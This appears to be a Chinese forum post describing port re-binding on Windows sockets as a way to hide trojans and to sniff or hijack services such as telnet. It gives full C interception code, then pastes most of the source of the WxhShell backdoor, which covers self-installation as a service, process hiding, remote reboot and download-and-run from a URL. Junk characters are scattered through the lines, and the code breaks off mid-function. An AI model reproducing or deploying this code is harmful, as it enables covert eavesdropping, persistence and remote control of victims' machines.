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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xG Y!r"[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7~ZG"^k  
u:J4Az^!  
  saddr.sin_family = AF_INET; ^h#A7 g  
+ iQ~ Y2Gh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K;s`  
v<g#/X8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V\FlKC   
^YfAsBs&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K@!hrye  
)=aq j@v  
  这意味着什么?意味着可以进行如下的攻击: */TO $ ^s  
Ae2Y\sAV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 66+]D4(k  
h"}F3E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RC8-6s& ln  
sk~7"v{Y.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -XkjO$=!=  
= 1d$x:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Et}%sdS  
 #.Ly  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4"{g{8  
//Xz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v]KPA.W  
YY'[PXP$Y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8 ?:W{GAo  
I<xcVY9L  
  #include KK-+vq  
  #include 2!{_x8,n  
  #include ,5K&f\  
  #include    ?6I`$ &OA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A^0-%Ygl  
  int main() gB,Q4acjj  
  { 4xFAFK~lx  
  WORD wVersionRequested; @:!%Z`  
  DWORD ret; 0&r}'f ?  
  WSADATA wsaData; 8 -b~p  
  BOOL val; 6G-XZko~a  
  SOCKADDR_IN saddr; K+yi_n L  
  SOCKADDR_IN scaddr; p{SIGpbR&  
  int err; Esg:  
  SOCKET s; T).}~i;!  
  SOCKET sc; $D f1t  
  int caddsize; x0TE+rf5   
  HANDLE mt; Gt!Hm(  
  DWORD tid;   a{?>F&vnU  
  wVersionRequested = MAKEWORD( 2, 2 ); o+R(ux"  
  err = WSAStartup( wVersionRequested, &wsaData ); I4c %>R  
  if ( err != 0 ) { )_kEy>YscZ  
  printf("error!WSAStartup failed!\n"); 4L,&a+)  
  return -1; b~8&P_  
  } CyB1`&G>  
  saddr.sin_family = AF_INET; U[#q"'P|l  
   $.B}zY{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ r$I&8  
_qQo}|/q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :n x;~f  
  saddr.sin_port = htons(23); SBw'z(U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _,-\;  
  { [~Z#yEiW^  
  printf("error!socket failed!\n"); _tO2PI L@Z  
  return -1; r&L1jT.  
  } Vr&v:8:wb  
  val = TRUE; pcm1IwR`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 qEkhgJqk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ac[;S!R  
  { x_H"<-By  
  printf("error!setsockopt failed!\n"); [Kbna>`  
  return -1; O9p^P%U"  
  } 0upZ4eN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; , -Lv3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |:SXN4';?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i'#%t/ u  
8mX:*$qm:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) /J,&G: Er  
  { b1ZHfe:  
  ret=GetLastError(); qEjsAL  
  printf("error!bind failed!\n"); CR|>?9V  
  return -1; Ax!fvcsN  
  } O}7aX '  
  listen(s,2); \l 3M\$oS>  
  while(1) `k08M)  
  { TR{dNO!q  
  caddsize = sizeof(scaddr); ayA_[{j%X  
  //接受连接请求 :!,.c $M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 81wmKqDEs  
  if(sc!=INVALID_SOCKET) eA/}$.R  
  { a6o p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A?c?(~9O  
  if(mt==NULL) Gs}lw'pK  
  { jg3['hTJT  
  printf("Thread Creat Failed!\n"); a\I`:RO=<Z  
  break; y"nC T3  
  } Mz6|#P}.s  
  } Z ?w=-  
  CloseHandle(mt); UX'tdB !A  
  } @gJPMgF$F  
  closesocket(s); _7Ju  
  WSACleanup(); WUn]F~Lt  
  return 0; u5`u>.!  
  }   c<:-T  
  DWORD WINAPI ClientThread(LPVOID lpParam) @e.C"@G  
  { _$E6P^AQ  
  SOCKET ss = (SOCKET)lpParam; U2#"p   
  SOCKET sc; \h/H#j ZJ  
  unsigned char buf[4096]; ]vUwG--*  
  SOCKADDR_IN saddr; y@S$^jk.  
  long num; 3)<yod=  
  DWORD val; k_#ak%m/  
  DWORD ret; t%0VJB,Q2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tKOmoC  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {L{o]Ii?g  
  saddr.sin_family = AF_INET; _}Ac n$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =7=]{Cx[  
  saddr.sin_port = htons(23); o q Xg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5uGq%(24  
  { nfbR P t  
  printf("error!socket failed!\n"); GY'%+\*tj  
  return -1; #jvtUS\  
  } yLvDMPj  
  val = 100; EeE7#$l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D0-3eV -  
  { z#wkiCRYm  
  ret = GetLastError(); T4Uev*A  
  return -1; <44G]eb  
  } hD 82tr  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oWT3apGO  
  { y'.p&QH'`  
  ret = GetLastError(); sUO`uqZV  
  return -1; z\W64^'"Z  
  } ,]F,Uu_H7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W aRw05r  
  { 76{G'}B  
  printf("error!socket connect failed!\n"); i>`%TW:g  
  closesocket(sc); X 'Xx"M  
  closesocket(ss); (=AWOU+  
  return -1; ~Fcm[eoC  
  } \';gvr|  
  while(1) Ty?cC**  
  { q6luUx,@m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *Hn8)x}E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kS);xA8s]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j_?FmX _  
  num = recv(ss,buf,4096,0); $ bR~+C  
  if(num>0) h7Kzq{$  
  send(sc,buf,num,0); ?dg [:1R}  
  else if(num==0) Se}c[|8  
  break; j3V -LnA  
  num = recv(sc,buf,4096,0); 194)QeoFw  
  if(num>0) ydA8wL  
  send(ss,buf,num,0); TF\C@4Z  
  else if(num==0) S9y}  
  break; b2Fe<~S{  
  } K($Npuu]  
  closesocket(ss); (y~TL*B  
  closesocket(sc); mO7]9 p  
  return 0 ; +~$ ]} %  
  } $Ds2>G4c  
B~ GbF*j  
! n@KU!&k  
========================================================== N =}A Z{$  
5|s\* bV`  
下边附上一个代码,,WXhSHELL kbQ>a5`,x  
#=A)XlZMd  
========================================================== LL~%f &_  
*] ) `z8Ox  
#include "stdafx.h" vpr.Hn  
R 'zWYQ  
#include <stdio.h> FcU SE  
#include <string.h> uw_Y\F-$  
#include <windows.h> hL{KRRf>  
#include <winsock2.h> 8OU\V5i[,q  
#include <winsvc.h> 7`'Tbp  
#include <urlmon.h> "<1{9  
/(*q}R3Kfo  
#pragma comment (lib, "Ws2_32.lib") !l8PDjAE  
#pragma comment (lib, "urlmon.lib") ;N0XFjdR  
Wd:uV  
#define MAX_USER   100 // 最大客户端连接数 0S!K{xyR  
#define BUF_SOCK   200 // sock buffer ,#9PxwrO  
#define KEY_BUFF   255 // 输入 buffer @qAS*3j  
;?p>e'  
#define REBOOT     0   // 重启 V**~m9f  
#define SHUTDOWN   1   // 关机 V U3upy<  
$<EM+oJ|ER  
#define DEF_PORT   5000 // 监听端口 p_%Rt"!  
8(~ h"]`!  
#define REG_LEN     16   // 注册表键长度 %dVZ0dl  
#define SVC_LEN     80   // NT服务名长度 H<,gU`&R  
$'M!HJxb  
// 从dll定义API iqWQ!r^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); on `3&0,.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6LIJ Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HIZe0%WPw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kn1a>fLaJ_  
E ~<JC"]  
// wxhshell配置信息 0 M[EEw3  
struct WSCFG { lRFYx?y  
  int ws_port;         // 监听端口 `d}2O%P  
  char ws_passstr[REG_LEN]; // 口令 ukyZes8o K  
  int ws_autoins;       // 安装标记, 1=yes 0=no /*mI<[xb  
  char ws_regname[REG_LEN]; // 注册表键名 /h3RmUy   
  char ws_svcname[REG_LEN]; // 服务名 h S&R(m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 + cN8Y}V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .aQ \jA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (O3nL.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2P0*NQ   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [7Oe3=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UP,c|  
%7+qnH*;r  
}; zK@@p+n_#.  
HG^'I+Yn  
// default Wxhshell configuration &Z%?!.4j@  
struct WSCFG wscfg={DEF_PORT, jNk%OrP]  
    "xuhuanlingzhe", l]8uk^E  
    1, VMWf>ZU  
    "Wxhshell", pW3^X=6  
    "Wxhshell", 6j}9V L77  
            "WxhShell Service", 4,DeHJjAlE  
    "Wrsky Windows CmdShell Service", Y$@?.)tY  
    "Please Input Your Password: ", Lp9E:D->  
  1, oCz/HQoBk  
  "http://www.wrsky.com/wxhshell.exe", &F~T-i>X  
  "Wxhshell.exe" vEJbA  
    }; k9L;!TH~1K  
9\7en%(M  
// 消息定义模块 cbTm'}R(G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i9x+A/ o[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /j.9$H'y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6=Otq=WH  
char *msg_ws_ext="\n\rExit."; _oeS Uzq.  
char *msg_ws_end="\n\rQuit."; oUlVI*~ND  
char *msg_ws_boot="\n\rReboot..."; ujpJ@OWj  
char *msg_ws_poff="\n\rShutdown..."; 3^yK!-Wp(  
char *msg_ws_down="\n\rSave to "; H qx-;F~0  
xJ.M;SF4  
char *msg_ws_err="\n\rErr!"; nBYZ}L q  
char *msg_ws_ok="\n\rOK!"; 0</);g}  
UkFC~17P  
char ExeFile[MAX_PATH]; ,z=LY5_z)  
int nUser = 0; Qo|\-y-#  
HANDLE handles[MAX_USER]; tKXIk9e  
int OsIsNt; *s3/!K  
7@W>E;go  
SERVICE_STATUS       serviceStatus; X"eYK/7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {+>-7 9b  
cw <l{A  
// 函数声明 f3y=Wxk[  
int Install(void); c-sfg>0^  
int Uninstall(void); El8,,E  
int DownloadFile(char *sURL, SOCKET wsh); |2A:eI8 ^  
int Boot(int flag); dk^~;m#iN  
void HideProc(void); K{+2G&i  
int GetOsVer(void); 'LDQgC*%  
int Wxhshell(SOCKET wsl); <N~K ;n v  
void TalkWithClient(void *cs); 4#Jg9o   
int CmdShell(SOCKET sock); A@#E@ ;lm  
int StartFromService(void); G' 1'/  
int StartWxhshell(LPSTR lpCmdLine); =Dj#gV  
V !~wj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xyXa .  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xskz) kk  
3Jn ;}  
// 数据结构和表定义 ]6j{@z?{  
SERVICE_TABLE_ENTRY DispatchTable[] = C;yZ  
{ #GFr`o0$^  
{wscfg.ws_svcname, NTServiceMain}, Tp2.VIoQ=  
{NULL, NULL} 1_G^w qk  
}; ) )Za&S*<  
:g/tZd$G5  
// 自我安装 uPvEwq* C  
int Install(void) {oL>1h,%3?  
{ xoME9u0x4  
  char svExeFile[MAX_PATH]; ~"A0Rs=  
  HKEY key; r9XZ(0/p  
  strcpy(svExeFile,ExeFile); s5. CFA  
*0ro0Z|Iq  
// 如果是win9x系统,修改注册表设为自启动 6 !bsM"F  
if(!OsIsNt) { Q,Eo mt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |w3M7;~eF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gRzxLf`K  
  RegCloseKey(key); 19#\+LWA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D2O~kN d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3OB"#Ap8<  
  RegCloseKey(key); noj0F::m`j  
  return 0; @2#lI  
    } yf,z$CR  
  } ^B^9KEjTz  
} }6ldjCT/,  
else { % ] U  
vP,n(reM  
// 如果是NT以上系统,安装为系统服务 7xR\kL.,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _#8MkW#]~  
if (schSCManager!=0) "J1 4C9u   
{ -G=]=f/'  
  SC_HANDLE schService = CreateService fV~[;e;U.  
  ( vih9 KBT  
  schSCManager, q,%st~  
  wscfg.ws_svcname, 1Z&(6cDY8M  
  wscfg.ws_svcdisp, TcoB,Kdce  
  SERVICE_ALL_ACCESS, glw+l'@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ho]su?  
  SERVICE_AUTO_START, zT{ VE+=  
  SERVICE_ERROR_NORMAL, w!XD/j N  
  svExeFile, W@esITr  
  NULL, +w~oH=  
  NULL, Uw:"n]G]D?  
  NULL, M3au{6y  
  NULL, d_P` qA  
  NULL T> p&$]OG  
  ); hqdDm  
  if (schService!=0) 1 -b_~DF  
  { %l%HHT  
  CloseServiceHandle(schService); K)P%;X  
  CloseServiceHandle(schSCManager); !@"OB~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rZpXPI  
  strcat(svExeFile,wscfg.ws_svcname); QsW/X0YBv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fj!U|l\_9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); H;"4 C8K7  
  RegCloseKey(key); cH)";] k*-  
  return 0; (tO\)aS=  
    } H"F29Pu2  
  } V~ _>U}  
  CloseServiceHandle(schSCManager); oL<St$1  
} Z30A{6}  
} "wc<B4"  
")25 qZae  
return 1; 7-A2_!_x{  
}  AOx[  
" Yy n/  
// 自我卸载 t`QENXA}  
int Uninstall(void) Xnh8e  
{ ##ANrG l  
  HKEY key; i@'dH3-kO  
P93@;{c(  
if(!OsIsNt) { 6H|S;K+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {xB3S_,8  
  RegDeleteValue(key,wscfg.ws_regname); A%-6`>  
  RegCloseKey(key); % u6Sr5A[s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'B}qZCy W  
  RegDeleteValue(key,wscfg.ws_regname); ,z?':TZ  
  RegCloseKey(key); IGN1gs  
  return 0; y+;|Fz  
  } nRY5xRvK  
} MO]&bHH7;  
} DTs;{c  
else { h `wD  
B erwI 7!=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K|@G t%Y  
if (schSCManager!=0)  2Rz  
{ QSj]ZA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L%5%T;0'~  
  if (schService!=0) \j.:3X r  
  { @ .KGfNu  
  if(DeleteService(schService)!=0) { FPTK`Gd0  
  CloseServiceHandle(schService); h7@6T+#WoT  
  CloseServiceHandle(schSCManager); g `4<9RMun  
  return 0; mV m Gg,  
  } jFb?b6b  
  CloseServiceHandle(schService); mBC+6(5V  
  } YbLW/E\T  
  CloseServiceHandle(schSCManager); L rPkxmR  
} y?!"6t7&  
} T 1t6p&  
uIrG*K  
return 1; |&jXp%4T  
} w=@Dv  
YoE3<[KD(  
// 从指定url下载文件 eiOW#_"\  
int DownloadFile(char *sURL, SOCKET wsh) 9ll~~zF99|  
{ "I TIhnE  
  HRESULT hr; 5(8@%6>ruj  
char seps[]= "/"; Ct|A:/z(  
char *token; $]8Q(/mbK  
char *file; F<w/PMb  
char myURL[MAX_PATH]; b>$S<td  
char myFILE[MAX_PATH]; !%>7Dw(kt  
bN88ua}k{  
strcpy(myURL,sURL); |Ds=)S" K  
  token=strtok(myURL,seps); A(N4N  
  while(token!=NULL) 1&$ nVQ  
  { XZwK6F)L  
    file=token; c"xK`%e  
  token=strtok(NULL,seps); UZ$/Ni  
  } E!AE4B1bd  
c:g'.'/*  
GetCurrentDirectory(MAX_PATH,myFILE); 8i,K~Bu=  
strcat(myFILE, "\\"); kNL\m[W8$  
strcat(myFILE, file); 0?M:6zf_iv  
  send(wsh,myFILE,strlen(myFILE),0); 4`R(?  
send(wsh,"...",3,0); _tXlF;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %%wNZ{  
  if(hr==S_OK) *9i{,I@  
return 0; |WUG}G")*x  
else ]:\dPw`A  
return 1; .x1NWGDn  
KY N0  
} E~:x(5'%d  
jA/w|\d!  
// 系统电源模块 -!9G0h&i|  
int Boot(int flag) nxHkv`s k  
{ Y4(  
  HANDLE hToken; l lsfTrp  
  TOKEN_PRIVILEGES tkp; *\q d  
2Hv+W-6v  
  if(OsIsNt) { yiI1x*^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >"<Wjr8W!$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9)=ctoZ'  
    tkp.PrivilegeCount = 1; ei{eTp4HpV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  f V(J|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YnP5i#"  
if(flag==REBOOT) { cs'{5!i]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g zg_>2Sj  
  return 0; dq[xwRU1  
} a@*\o+Su  
else { Qw)c$93  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j8`BdKg  
  return 0; YrKWA  
} +2j AC r  
  } BF<ikilR  
  else { ?pZOeqqu$  
if(flag==REBOOT) { &! ?eL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <"|,"hA  
  return 0; PiYxk+N  
} 1sH& sGy7  
else { V$?SR44>nH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8&aq/4:q0  
  return 0; J)C/u{o  
} K96<M);:g  
} v}Fr@0%  
JO< wU  
return 1; "w.3Q96r  
} WeiFmar  
3%ZOKb"D*  
// win9x进程隐藏模块 m%e68c  
void HideProc(void) t<viX's  
{ VU d\QR-  
W#sU`T   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); # Vha7  
  if ( hKernel != NULL ) Qz N&>sk"  
  { E\,-XH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1y4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^`>/.gL  
    FreeLibrary(hKernel); $p?aVO  
  } {!dVDf_  
!I Qck8Y  
return; Y.r+wc]  
} h2""9aP !  
5[u]E~Fl}  
// 获取操作系统版本 'X2POay1  
int GetOsVer(void) (*)hD(C5  
{ ox (%5c)b|  
  OSVERSIONINFO winfo; d;}nh2*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {jX2}  
  GetVersionEx(&winfo); <3hRyG@vB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) & 9 ?\b7  
  return 1; FG*r'tC~r  
  else ilx)*Y  
  return 0; t1y4 7fX6  
} )TH@# 1  
#?9;uy<j.q  
// 客户端句柄模块 *ppffz  
int Wxhshell(SOCKET wsl) xX4N4vb  
{ "!%l/_p?  
  SOCKET wsh; %F4%H|G  
  struct sockaddr_in client; hFl^\$Re  
  DWORD myID; 9j9TPyC/2  
MFAH%Z$  
  while(nUser<MAX_USER) n#OB%@]<V  
{ J6FV]Gpv  
  int nSize=sizeof(client); ?m? ::RH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [mGLcg6Fw  
  if(wsh==INVALID_SOCKET) return 1; M1iS(x  
)f<z% :I+Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m-"w0Rl1T  
if(handles[nUser]==0) ah+iZ}E%  
  closesocket(wsh); wx0j(:B]  
else X*@dj_,  
  nUser++; xx%j.zDI]  
  } c|@bwat4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lv+TD!b   
hNmJ!Uo  
  return 0; *6DB0X_-}  
} 8C9-_Ng`  
"u^H# L>-q  
// 关闭 socket <;Zmjeb+#  
void CloseIt(SOCKET wsh) (rm?jDm   
{ I75DUJqy]  
closesocket(wsh); o="M  
nUser--; -fHy-Oh  
ExitThread(0); 8&`LYdzt  
} u frL<]A  
pohp&Tcm  
// 客户端请求句柄 @8r pD"x  
void TalkWithClient(void *cs) S2VA{9:m  
{ Q:k}Jl  
'F0e(He@,  
  SOCKET wsh=(SOCKET)cs; Ks`J([(W&  
  char pwd[SVC_LEN]; ]>nk"K!%  
  char cmd[KEY_BUFF]; p xa*'h"b^  
char chr[1]; PKg@[<g43  
int i,j; EVC]sUT  
~;{; ,8!)  
  while (nUser < MAX_USER) { 54R#W:t  
.Od !0(0  
if(wscfg.ws_passstr) { 65$+{s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nwRc%C``UK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V7fq4O^:  
  //ZeroMemory(pwd,KEY_BUFF); "Nbq#w\  
      i=0; fN^8{w/O  
  while(i<SVC_LEN) { )g#T9tx2D  
0Y{yKL  
  // 设置超时 qwgPk9l  
  fd_set FdRead; CxOob1@  
  struct timeval TimeOut; G[I"8iS,  
  FD_ZERO(&FdRead); JL}_72gs  
  FD_SET(wsh,&FdRead); co|aC!7  
  TimeOut.tv_sec=8; EC!02S  
  TimeOut.tv_usec=0; Mc_YPR:C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9u}Hmb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lbl?k5  
"2$fi{9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ryUQU^v  
  pwd=chr[0]; ,,Q O^j]4~  
  if(chr[0]==0xd || chr[0]==0xa) { 3/e.38m|  
  pwd=0; 7XLtN "$$  
  break; -Xm'dwm  
  } RF4vtQC=  
  i++; -23w2Qt  
    } >T3-  
{~"/Y@&]R  
  // 如果是非法用户,关闭 socket mtp+rr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]e>w }L(gV  
} %JD,$p Ps  
dkBIx$t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4,gK[ dc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H-*yh!  
*>'V1b4}  
while(1) { Yz"#^j}Kg  
})8N5C+KU  
  ZeroMemory(cmd,KEY_BUFF); vB|hZTW  
aPfO$b:  
      // 自动支持客户端 telnet标准   J1RJ*mo7,  
  j=0; GmEJhr.3`=  
  while(j<KEY_BUFF) { cyv`B3}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4n g]\ituS  
  cmd[j]=chr[0]; JZ*/,|1}EC  
  if(chr[0]==0xa || chr[0]==0xd) { ju8q?Nyhs  
  cmd[j]=0; bj0G5dc=  
  break; A_ N;   
  } 0c'<3@39k|  
  j++; KNpl:g3{<Q  
    } yyRiP|hJ  
i&66Fi1  
  // 下载文件 =eXU@B  
  if(strstr(cmd,"http://")) { Yi+wC}   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `nv~NLkl  
  if(DownloadFile(cmd,wsh)) OXSmt DvJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \lf;P?M^  
  else #9}D4i.`}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u#;7<.D  
  } lVR~Bh  
  else { T?soJ]A  
E=CsIK   
    switch(cmd[0]) { E+R1 !.  
  q`H_M{26!y  
  // 帮助 G"U9E5O  
  case '?': { YYl4"l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~tUl}  
    break; kmsb hYM)  
  } I{9QeR I  
  // 安装 >WQMqQ^t@  
  case 'i': { NI}yVV  
    if(Install()) st3l2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EZy)A$|  
    else QP^Cx=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l7259Ro~  
    break; ]&xk30  
    } otl0J Ht*+  
  // 卸载 _jI,)sr4ic  
  case 'r': { { MSkHf=  
    if(Uninstall()) |\<`Ib4j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~'iHo]9O  
    else '()xHEGl3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }=UHbU.n~!  
    break; ?'Xj g#}<  
    } F2dHH^  
  // 显示 wxhshell 所在路径 ogtEAv~e7N  
  case 'p': { #ASz;$P  
    char svExeFile[MAX_PATH]; U;V7 u/{  
    strcpy(svExeFile,"\n\r"); 9T}pT{~V  
      strcat(svExeFile,ExeFile); 4(~L#}:r!  
        send(wsh,svExeFile,strlen(svExeFile),0); 8'.Hyy@;  
    break; ?'#` nx(!  
    } !M]uL&:  
  // 重启 z(exA  
  case 'b': { nntuLuW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pV +|o.<C  
    if(Boot(REBOOT)) {3p4:*}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z!#!Gu*V  
    else { ?m=N]!n  
    closesocket(wsh); 1k5Who@  
    ExitThread(0); :q7Wy&ow  
    } k\YG^I  
    break; UcDS9f_87  
    } *_{j=sd  
  // 关机 [vK ^Um  
  case 'd': { |zNX=mAV  
